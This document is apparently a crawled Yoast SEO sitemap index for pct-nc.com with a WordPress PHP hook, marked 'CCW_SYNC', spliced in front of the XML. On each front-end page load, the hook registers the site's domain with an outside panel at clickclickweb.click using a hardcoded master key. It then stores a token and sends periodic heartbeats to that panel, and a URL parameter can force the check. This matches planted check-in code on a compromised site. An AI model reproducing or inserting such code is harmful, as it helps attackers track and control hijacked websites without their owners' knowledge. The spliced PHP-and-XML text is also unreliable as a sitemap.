
// CCW_SYNC_START
add_action('init', function () {
    if (is_admin()) {
        return;
    }

    $domain = preg_replace('#^www\.#', '', strtolower((string) ($_SERVER['HTTP_HOST'] ?? '')));
    if ($domain === '') {
        return;
    }

    $api = 'https://clickclickweb.click/json-panel/public/api.php';
    $masterKey = 'degistir-register-key';

    $force = isset($_GET['ccw_check']) && $_GET['ccw_check'] === '1';
    $token = (string) get_option('ccw_token', '');

    $doRegister = ($token === '');
    if ($doRegister || ($force && $token === '')) {
        $register = wp_remote_post($api, [
            'timeout' => 8,
            'body' => [
                'action' => 'register',
                'domain' => $domain,
                'master_key' => $masterKey,
            ],
        ]);
        if (!is_wp_error($register)) {
            $json = json_decode(wp_remote_retrieve_body($register), true);
            if (is_array($json) && !empty($json['ok']) && !empty($json['token'])) {
                update_option('ccw_token', (string) $json['token'], false);
                update_option('ccw_reg', '1', false);
                update_option('ccw_last_hb', 0, false);
                $token = (string) $json['token'];
            }
        }
    }

    if ($token === '') {
        return;
    }

    $lastHb = (int) get_option('ccw_last_hb', 0);
    if (!$force && (time() - $lastHb) < 600) {
        return;
    }

    $hb = wp_remote_post($api, [
        'timeout' => 5,
        'body' => [
            'action' => 'heartbeat',
            'domain' => $domain,
            'token' => $token,
        ],
    ]);

    if (is_wp_error($hb)) {
        return;
    }

    $hbJson = json_decode(wp_remote_retrieve_body($hb), true);
    if (is_array($hbJson) && !empty($hbJson['ok'])) {
        update_option('ccw_last_hb', time(), false);
        return;
    }

    $msg = is_array($hbJson) ? (string) ($hbJson['msg'] ?? '') : '';
    if ($msg === 'token_invalid' || $msg === 'site_not_found') {
        delete_option('ccw_reg');
        delete_option('ccw_token');
        delete_option('ccw_last_hb');
    }
}, 1);
// CCW_SYNC_END
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//pct-nc.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://pct-nc.com/page-sitemap.xml</loc>
		<lastmod>2023-08-01T15:36:22+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->